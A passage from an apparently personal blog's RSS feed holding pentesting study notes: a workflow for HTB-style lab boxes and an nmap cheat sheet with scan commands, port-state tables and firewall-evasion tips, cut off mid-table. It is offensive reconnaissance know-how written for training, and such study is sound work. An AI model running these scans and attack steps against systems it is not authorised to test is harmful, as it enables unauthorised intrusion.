<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Cadevue Rex</title><description>Notes on Windows internals, smart home IoT and game development, by Addin Munawwar.</description><link>https://cadevue.dev</link><item><title>General Framework</title><link>https://cadevue.dev/articles/cpts-general-framework</link><guid isPermaLink="true">https://cadevue.dev/articles/cpts-general-framework</guid><description>My generic workflow for approaching any boxes for pentesting.</description><pubDate>Sat, 10 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Disclaimer: This workflow took inspiration from many sources, mainly the CPTS course. This is my personal workflow, and intentionally exclude the formal process like pre-engagment &amp;amp; post-engagement in real pentesting. This was designed specifically for HTB-like boxes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;General steps to conquering boxes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the task carefully.&lt;/li&gt;
&lt;li&gt;Enumerate using &lt;code&gt;nmap&lt;/code&gt;. Read the &lt;code&gt;Enumeration with Nmap&lt;/code&gt; page.&lt;/li&gt;
&lt;li&gt;Identify running services.&lt;/li&gt;
&lt;li&gt;Enumerate the services further.&lt;/li&gt;
&lt;li&gt;Exploit vulnerable services.&lt;/li&gt;
&lt;li&gt;Get the inital foothold.&lt;/li&gt;
&lt;li&gt;Establish persistence.&lt;/li&gt;
&lt;li&gt;Post-exploitation. These are usually privilege escalation (privsec) or lateral movement.&lt;/li&gt;
&lt;li&gt;Get the flags.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;While doing the steps, always draft a writeup (dirty is fine).&lt;/p&gt;
&lt;h2 id=&quot;what-to-do-with-services&quot;&gt;What to do with Services?&lt;/h2&gt;
&lt;p&gt;Once &lt;code&gt;nmap&lt;/code&gt; tells you what is open, work each port. Every service has its own enumeration page; the table below is just the map from a port to where to start.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;First thing to try&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;Anonymous login, then list and pull files.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;Note the version, keep it for later once you have creds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;SMTP&lt;/td&gt;
&lt;td&gt;Enumerate users with &lt;code&gt;VRFY&lt;/code&gt; / &lt;code&gt;RCPT&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;Zone transfer, hunt for extra hostnames.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80 / 443&lt;/td&gt;
&lt;td&gt;HTTP / HTTPS&lt;/td&gt;
&lt;td&gt;The biggest surface. Directory brute, vhosts, read the app.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;Active Directory is present.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;111&lt;/td&gt;
&lt;td&gt;rpcbind&lt;/td&gt;
&lt;td&gt;Lists RPC services, feed into &lt;code&gt;showmount&lt;/code&gt; for NFS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;139 / 445&lt;/td&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;List shares, check for null sessions, pull files.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;161 (UDP)&lt;/td&gt;
&lt;td&gt;SNMP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;snmpwalk&lt;/code&gt; with &lt;code&gt;public&lt;/code&gt;, it leaks a lot.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;389 / 636&lt;/td&gt;
&lt;td&gt;LDAP&lt;/td&gt;
&lt;td&gt;AD objects, try an anonymous bind.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1433 / 3306 / 5432&lt;/td&gt;
&lt;td&gt;MSSQL / MySQL / PostgreSQL&lt;/td&gt;
&lt;td&gt;Weak creds, then read files or run commands.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3389&lt;/td&gt;
&lt;td&gt;RDP&lt;/td&gt;
&lt;td&gt;Keep for when you have creds.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5985 / 5986&lt;/td&gt;
&lt;td&gt;WinRM&lt;/td&gt;
&lt;td&gt;&lt;code&gt;evil-winrm&lt;/code&gt; once you have creds.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Full list of ports and services on the &lt;code&gt;Port References&lt;/code&gt; page.&lt;/p&gt;
&lt;p&gt;Rule of thumb: enumerate before you exploit. Most boxes fall to something you missed, not something you lacked.&lt;/p&gt;
&lt;h2 id=&quot;after-the-initial-foothold&quot;&gt;After the Initial Foothold&lt;/h2&gt;
&lt;p&gt;A shell is the middle of the box, not the end. Settle in before you escalate.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Stabilise the shell.&lt;/strong&gt; Upgrade a raw reverse shell to a proper TTY so arrow keys, tab and &lt;code&gt;Ctrl-C&lt;/code&gt; work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Know where you are.&lt;/strong&gt; &lt;code&gt;whoami&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;hostname&lt;/code&gt;, and which network the box sits on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grab the user flag&lt;/strong&gt; if it is readable now.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enumerate for privilege escalation.&lt;/strong&gt; Who am I, what can I run, what is scheduled, what is misconfigured.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escalate.&lt;/strong&gt; Get to &lt;code&gt;root&lt;/code&gt; or &lt;code&gt;SYSTEM&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grab the root flag.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;See the Linux and Windows privilege-escalation pages for the actual checks.&lt;/p&gt;
&lt;h2 id=&quot;active-directory-specifics&quot;&gt;Active Directory Specifics&lt;/h2&gt;
&lt;p&gt;A domain-joined box is a different game. You are not after one host, you are after the domain.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Treat every credential as a key to the whole domain, not just the box it came from.&lt;/li&gt;
&lt;li&gt;Enumerate the domain with the creds you have: users, groups, shares, and the trust between them.&lt;/li&gt;
&lt;li&gt;Look for the common paths: Kerberoasting, AS-REP roasting, and weak ACLs.&lt;/li&gt;
&lt;li&gt;Map the domain with BloodHound early. It shows the shortest path to Domain Admin.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AD gets its own series later. This page only says: notice when you are in one, and change your approach.&lt;/p&gt;
</content:encoded></item><item><title>Enumeration with Nmap</title><link>https://cadevue.dev/articles/enumeration-with-nmap</link><guid isPermaLink="true">https://cadevue.dev/articles/enumeration-with-nmap</guid><description>How to use nmap for enumeration</description><pubDate>Fri, 09 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Set victim target (ease for repeating commands)&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#FF6A58&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; TARGET=.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;export TARGET=.&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Always scan all 65535 ports before concluding a port is closed.&lt;/p&gt;
&lt;h2 id=&quot;workflow&quot;&gt;Workflow&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Quick sweep&lt;/strong&gt;: find open ports fast, start working immediately.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-sS&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--top-ports&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-T4&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-oA&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;scans/quick&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -sS --top-ports 1000 -T4 -oA scans/quick $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;Full TCP&lt;/strong&gt;: confirm you missed nothing (all 65535 ports).&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-p-&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--min-rate&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;5000&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-T4&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-oA&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;scans/allports&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -p- --min-rate 5000 -T4 -oA scans/allports $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;Targeted deep scan&lt;/strong&gt;: &lt;code&gt;-sC -sV&lt;/code&gt; only on the ports found open.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-p&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;22,80,445&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-sC&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-sV&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-oA&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;scans/deep&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -p 22,80,445 -sC -sV -oA scans/deep $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;&lt;strong&gt;UDP&lt;/strong&gt;: top ports, runs in the background while you work TCP.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-sU&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;--top-ports&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-T4&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-oA&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;scans/udp&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -sU --top-ports 100 -T4 -oA scans/udp $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Reuse step-2 output to build the port list:
&lt;code&gt;ports=$(grep open scans/allports.gnmap | grep -oP &apos;\d+/open&apos; | cut -d/ -f1 | paste -sd,)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;host-discovery&quot;&gt;Host discovery&lt;/h2&gt;
&lt;p&gt;Ping sweep&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-sn&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;192.168.1.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -sn 192.168.1.0/24&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;If a host “looks down” but you know it’s there, always add &lt;strong&gt;&lt;code&gt;-Pn&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Skip ICMP ping&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-Pn&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -Pn $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;TCP SYN ping to specific ports&lt;/p&gt;
&lt;div class=&quot;expressive-code&quot;&gt;&lt;figure class=&quot;frame&quot;&gt;&lt;figcaption class=&quot;header&quot;&gt;&lt;/figcaption&gt;&lt;pre data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;div class=&quot;ec-line&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;sudo &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; &lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt;-PS22,80,443&lt;/span&gt;&lt;span style=&quot;--0:#D4D4D4&quot;&gt; $TARGET&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;copy&quot;&gt;&lt;div aria-live=&quot;polite&quot;&gt;&lt;/div&gt;&lt;button title=&quot;Copy to clipboard&quot; data-copied=&quot;Copied!&quot; data-code=&quot;sudo nmap -PS22,80,443 $TARGET&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;/button&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;h2 id=&quot;scan-types&quot;&gt;Scan types&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Scan&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP SYN (stealth)&lt;/td&gt;
&lt;td&gt;Default when root. Fast, half-open.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP connect&lt;/td&gt;
&lt;td&gt;Non-root fallback. Full handshake, noisier.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sU&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;Slow. Catches SNMP/DNS/TFTP/SMB.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sV&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version detection&lt;/td&gt;
&lt;td&gt;Probes banners to ID service versions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Default scripts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--script=default&lt;/code&gt;. Safe recon NSE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Aggressive&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-sC -sV -O --traceroute&lt;/code&gt; combined.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-O&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OS detection&lt;/td&gt;
&lt;td&gt;Needs root. Guesses from TCP/IP stack.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;port-states&quot;&gt;Port states&lt;/h2&gt;
&lt;p&gt;Nmap reports one of six states per port.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;State&lt;/th&gt;
&lt;th&gt;When you see it&lt;/th&gt;
&lt;th&gt;Likely cause&lt;/th&gt;
&lt;th&gt;What you deduce&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;open&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Probe got a positive reply (SYN scan &lt;code&gt;SYN/ACK&lt;/code&gt;, UDP a service response)&lt;/td&gt;
&lt;td&gt;An application is actively listening and accepting connections&lt;/td&gt;
&lt;td&gt;Service is live. &lt;strong&gt;enumerate it&lt;/strong&gt;. Your main attack surface.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;closed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Probe reached the port and got a &lt;code&gt;RST&lt;/code&gt; (TCP) or ICMP port-unreachable (UDP)&lt;/td&gt;
&lt;td&gt;Port is reachable but &lt;strong&gt;nothing is listening&lt;/strong&gt; on it&lt;/td&gt;
&lt;td&gt;Host is &lt;strong&gt;up&lt;/strong&gt; and not firewalling this port. No service now, but confirms reachability. Could open later.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;filtered&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No reply at all, or an ICMP admin-prohibited/unreachable error&lt;/td&gt;
&lt;td&gt;A &lt;strong&gt;firewall / IPS / router is dropping&lt;/strong&gt; the probe before it reaches the port&lt;/td&gt;
&lt;td&gt;Something is blocking you. Can’t tell if a service exists. Try &lt;code&gt;-Pn&lt;/code&gt;, different source port, or another scan type.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;open|filtered&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No response, so Nmap can’t decide&lt;/td&gt;
&lt;td&gt;Either an open service that simply doesn’t reply, &lt;strong&gt;or&lt;/strong&gt; a firewall silently dropped the probe&lt;/td&gt;
&lt;td&gt;Treat as &lt;em&gt;maybe open&lt;/em&gt;, worth probing with &lt;code&gt;-sV&lt;/code&gt; / manual connection. Very common in &lt;strong&gt;UDP&lt;/strong&gt; and stealth scans (&lt;code&gt;-sF/-sN/-sX&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;closed|filtered&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Only with &lt;strong&gt;Idle scan&lt;/strong&gt; (&lt;code&gt;-sI&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Nmap can’t tell whether closed or filtered&lt;/td&gt;
&lt;td&gt;Rare on HTB-like boxes. Ignore unless doing idle scans.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;unfiltered&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Only with &lt;strong&gt;ACK scan&lt;/strong&gt; (&lt;code&gt;-sA&lt;/code&gt;), port got a &lt;code&gt;RST&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Port is reachable (&lt;strong&gt;no stateful firewall blocking&lt;/strong&gt;) but open/closed is unknown&lt;/td&gt;
&lt;td&gt;Firewall-mapping info only. Follow up with a SYN/connect scan to learn open vs closed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Key intuition, why “no reply” is ambiguous:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP SYN scan: &lt;code&gt;SYN/ACK&lt;/code&gt; → &lt;strong&gt;open&lt;/strong&gt;, &lt;code&gt;RST&lt;/code&gt; → &lt;strong&gt;closed&lt;/strong&gt;, &lt;em&gt;silence&lt;/em&gt; → &lt;strong&gt;filtered&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;UDP: a service reply → &lt;strong&gt;open&lt;/strong&gt;, ICMP unreachable → &lt;strong&gt;closed&lt;/strong&gt;, &lt;em&gt;silence&lt;/em&gt; → &lt;strong&gt;open|filtered&lt;/strong&gt; (most UDP services don’t answer empty probes).&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;filtered&lt;/code&gt; and &lt;code&gt;open|filtered&lt;/code&gt; waste real time. If a known-useful port shows
filtered, add &lt;code&gt;-Pn&lt;/code&gt;, try &lt;code&gt;-sT&lt;/code&gt;, or &lt;code&gt;--source-port 53&lt;/code&gt; before assuming it’s dead.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;timing--performance&quot;&gt;Timing &amp;amp; performance&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Effect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
